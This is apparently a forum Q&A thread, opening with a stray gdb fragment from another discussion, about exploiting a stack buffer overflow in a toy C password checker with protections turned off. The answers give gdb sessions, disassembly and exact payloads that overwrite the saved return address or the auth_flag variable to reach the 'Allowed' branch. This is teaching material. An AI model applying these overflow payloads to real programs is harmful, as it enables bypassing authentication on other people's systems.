Now, it is unclear what exactly did you do. Compiling as you specified, doing 'break gets' + 'run' works just fine for me. Are you sure you are dumping regs from "within" gets?
(gdb) disassemble return_input
Dump of assembler code for function return_input:
0x0804843b <+0>: push %ebp
0x0804843c <+1>: mov %esp,%ebp
0x0804843e <+3>: sub $0xc,%esp
0x08048441 <+6>: lea -0xa(%ebp),%eax
0x08048444 <+9>: push %eax
0x08048445 <+10>: call 0x8048300 <gets#plt>
0x0804844a <+15>: add $0x4,%esp
That's the instruction gets should return to.
0x0804844d <+18>: lea -0xa(%ebp),%eax
0x08048450 <+21>: push %eax
0x08048451 <+22>: call 0x8048310 <puts#plt>
0x08048456 <+27>: add $0x4,%esp
0x08048459 <+30>: nop
0x0804845a <+31>: leave
0x0804845b <+32>: ret
End of assembler dump.
(gdb) break gets
Breakpoint 1 at 0x8048300
(gdb) run
[..]
Breakpoint 1, 0xf7e3a005 in gets () from /lib/libc.so.6
(gdb) x/20x $esp
0xffffd160: 0x00000001 0xf7fa3000 0xffffd180 0x0804844a
And here it is on the 4th spot.
0xffffd170: 0xffffd176 0x0804820c 0x08048479 0x00000000
0xffffd180: 0xffffd188 0x08048464 0x00000000 0xf7df15a6
0xffffd190: 0x00000001 0xffffd224 0xffffd22c 0x00000000
0xffffd1a0: 0x00000000 0x00000000 0xf7fa3000 0xf7ffdbe4
(gdb)

Attempting a buffer overflow

I am attempting to change the result of a function using a buffer overflow to change the results on the stack with the following code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_auth1(char *password)
{
char password_buffer[8];
int auth_flag = 0;
strcpy(password_buffer, password);
if (strcmp(password_buffer, "cup") == 0) {
auth_flag = 1;
}
return auth_flag;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
int authenticated = check_auth1(argv[1]);
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
return 0;
}
I'm using gdb to analyse the stack and this is what I have:
0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4
0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f
0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4
0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3
0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000
[1] $ebp 0xbffff6f8
[2] $esp 0xbffff6d0
[3] password 0xbffff700
[4] auth_flag 0xbffff6ec
[5] password_buffer 0xbffff6e4
0x080484ce <+0>: push %ebp
0x080484cf <+1>: mov %esp,%ebp
0x080484d1 <+3>: and $0xfffffff0,%esp
0x080484d4 <+6>: sub $0x20,%esp
0x080484d7 <+9>: cmpl $0x1,0x8(%ebp)
0x080484db <+13>: jg 0x80484ff <main+49>
0x080484dd <+15>: mov 0xc(%ebp),%eax
0x080484e0 <+18>: mov (%eax),%edx
0x080484e2 <+20>: mov $0x8048614,%eax
0x080484e7 <+25>: mov %edx,0x4(%esp)
0x080484eb <+29>: mov %eax,(%esp)
0x080484ee <+32>: call 0x8048360 <printf#plt>
0x080484f3 <+37>: movl $0x0,(%esp)
0x080484fa <+44>: call 0x80483a0 <exit#plt>
0x080484ff <+49>: mov 0xc(%ebp),%eax
0x08048502 <+52>: add $0x4,%eax
0x08048505 <+55>: mov (%eax),%eax
0x08048507 <+57>: mov %eax,(%esp)
----------
IMPORTANT STUFF STARTS NOW
0x0804850a <+60>: call 0x8048474 <check_auth1>
0x0804850f <+65>: mov %eax,0x1c(%esp)
0x08048513 <+69>: cmpl $0x1,0x1c(%esp)
0x08048518 <+74>: je 0x8048528 <main+90>
I determined how far apart $ebp is from &password_buffer: 0xbffff6f8 - 0xbffff6e4 = 14 bytes
So with 14 'A' input, i.e. ./stackoverflowtest $(perl -e 'print "A" x 14') it should take me to "Allowed".
Where am I going wrong? What is the needed input to cause a overflow?
ASLR and gcc canaries are turned off.
check_auth1 assembly dump:
Dump of assembler code for function check_auth1:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: push %edi
0x08048478 <+4>: push %esi
0x08048479 <+5>: sub $0x20,%esp
=> 0x0804847c <+8>: movl $0x0,-0xc(%ebp)
0x08048483 <+15>: mov 0x8(%ebp),%eax
0x08048486 <+18>: mov %eax,0x4(%esp)
0x0804848a <+22>: lea -0x14(%ebp),%eax
0x0804848d <+25>: mov %eax,(%esp)
0x08048490 <+28>: call 0x8048370 <strcpy#plt>
0x08048495 <+33>: lea -0x14(%ebp),%eax
0x08048498 <+36>: mov %eax,%edx
0x0804849a <+38>: mov $0x8048610,%eax
0x0804849f <+43>: mov $0x4,%ecx
0x080484a4 <+48>: mov %edx,%esi
0x080484a6 <+50>: mov %eax,%edi
0x080484a8 <+52>: repz cmpsb %es:(%edi),%ds:(%esi)
0x080484aa <+54>: seta %dl
0x080484ad <+57>: setb %al
0x080484b0 <+60>: mov %edx,%ecx
0x080484b2 <+62>: sub %al,%cl
0x080484b4 <+64>: mov %ecx,%eax
0x080484b6 <+66>: movsbl %al,%eax
0x080484b9 <+69>: test %eax,%eax
0x080484bb <+71>: jne 0x80484c4 <check_auth1+80>
0x080484bd <+73>: movl $0x1,-0xc(%ebp)
0x080484c4 <+80>: mov -0xc(%ebp),%eax
0x080484c7 <+83>: add $0x20,%esp
0x080484ca <+86>: pop %esi
0x080484cb <+87>: pop %edi
0x080484cc <+88>: pop %ebp
0x080484cd <+89>: ret
This is quite easy to exploit, here is the way to walk through.
First compile it with -g, it makes it easier to understand what you are doing. Then, our goal will be to rewrite the saved eip of check_auth1() and move it to the else-part of the test in the main() function.
$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9 int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
called by frame at 0xffffd320
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
We stopped at check_auth1() and displayed the stack frame. We saw that the saved eip is stored in the stack at 0xffffd2ec and contains 0x804853f.
Let see to what it does lead:
(gdb) disassemble main
Dump of assembler code for function main:
0x080484ff <+0>: push %ebp
0x08048500 <+1>: mov %esp,%ebp
0x08048502 <+3>: and $0xfffffff0,%esp
0x08048505 <+6>: sub $0x20,%esp
0x08048508 <+9>: cmpl $0x1,0x8(%ebp)
0x0804850c <+13>: jg 0x804852f <main+48>
0x0804850e <+15>: mov 0xc(%ebp),%eax
0x08048511 <+18>: mov (%eax),%eax
0x08048513 <+20>: mov %eax,0x4(%esp)
0x08048517 <+24>: movl $0x8048604,(%esp)
0x0804851e <+31>: call 0x8048360 <printf#plt>
0x08048523 <+36>: movl $0x0,(%esp)
0x0804852a <+43>: call 0x80483a0 <exit#plt>
0x0804852f <+48>: mov 0xc(%ebp),%eax
0x08048532 <+51>: add $0x4,%eax
0x08048535 <+54>: mov (%eax),%eax
0x08048537 <+56>: mov %eax,(%esp)
0x0804853a <+59>: call 0x80484bd <check_auth1>
0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning
0x08048543 <+68>: cmpl $0x1,0x1c(%esp)
0x08048548 <+73>: je 0x8048558 <main+89>
0x0804854a <+75>: movl $0x804861a,(%esp)
0x08048551 <+82>: call 0x8048380 <puts#plt>
0x08048556 <+87>: jmp 0x8048564 <main+101>
0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here
0x0804855f <+96>: call 0x8048380 <puts#plt>
0x08048564 <+101>: mov $0x0,%eax
0x08048569 <+106>: leave
0x0804856a <+107>: ret
End of assembler dump.
But the truth is that we want to avoid to go through the cmpl $0x1,0x1c(%esp) and go directly to the else-part of the test. Meaning that we want to jump to 0x08048558.
Anyway, lets first try to see if our 28 'A' are enough to rewrite the saved eip.
(gdb) next
10 strcpy(password_buffer, password);
(gdb) next
11 if (strcmp(password_buffer, "cup") == 0) {
Here, the strcpy did the overflow, so lets look at the stack-frame:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
called by frame at 0xffffd2f4
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
Indeed, we rewrote the saved eip with 'A' (0x41 is the hexadecimal code for A). And, in fact, 28 is exactly what we need, not more. If we replace the four last bytes by the target address it will be okay.
One thing is that you need to reorder the bytes to take the little-endianess into account. So, 0x08048558 will become \x58\x85\x04\x08.
Finally, you will also need to write some meaningful address for the saved ebp value (not AAAA), so my trick is just to double the last address like this:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`
Note that there is no need to disable the ASLR, because you are jumping in the .text section (and this section do no move under the ASLR). But, you definitely need to disable canaries.
EDIT: I was wrong about replacing the saved ebp by our saved eip. In fact, if you do not give the right ebp you will hit a segfault when attempting to exit from main. This is because, we did set the saved ebp to somewhere in the .text section and, even if there is no problem when returning from check_auth1, the stack frame will be restored improperly when returning in the main function (the system will believe that the stack is located in the code). The result will be that the 4 bytes above the address pointed by the saved ebp we wrote (and pointing to the instructions) will be mistaken with the saved eip of main. So, either you disable the ASLR and write the correct address of the saved ebp (0xffffd330) which will lead to
$> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`
Or, you need to perform a ROP that will perform a clean exit(0) (which is usually quite easy to achieve).
you're checking against 1 exactly; change it to (the much more normal style for c programming)
if (! authenticated) {
and you'll see that it is working (or run it in gdb, or print out the flag value, and you'll see that the flag is being overwritten nicely, it's just not 1).
remember that an int is made of multiple chars. so setting a value of exactly 1 is hard, because many of those chars need to be zero (which is the string terminator). instead you are getting a value like 13363 (for the password 12345678901234).
[huh; valgrind doesn't complain even with the overflow.]
UPDATE
ok, here's how to do it with the code you have. we need a string with 13 characters, where the final character is ASCII 1. in bash:
> echo -n "123456789012" > foo
> echo $'\001' >> foo
> ./a.out `cat foo`
Allowed.
where i am using
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
also, i am relying on the compiler setting some unused bytes to zero (little endian; 13th byte is 1 14-16th are 0). it works with gcc bo.c but not with gcc -O3 bo.c.
the other answer here gets around this by walking on to the next place that can be overwritten usefully (i assumed you were targeting the auth_flag variable since you placed it directly after the password).
strcpy(password_buffer, password);
One of the things you will need to address during testing is this function call. If the program seg faults, then it could be because of FORTIFY_SOURCE. I'd like to say "crashes unexpectedly", but I don't think that applies here ;)
FORTIFY_SOURCE uses "safer" variants of high risk functions like memcpy and strcpy. The compiler uses the safer variants when it can deduce the destination buffer size. If the copy would exceed the destination buffer size, then the program calls abort().
To disable FORTIFY_SOURCE for your testing, you should compile the program with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.

Resources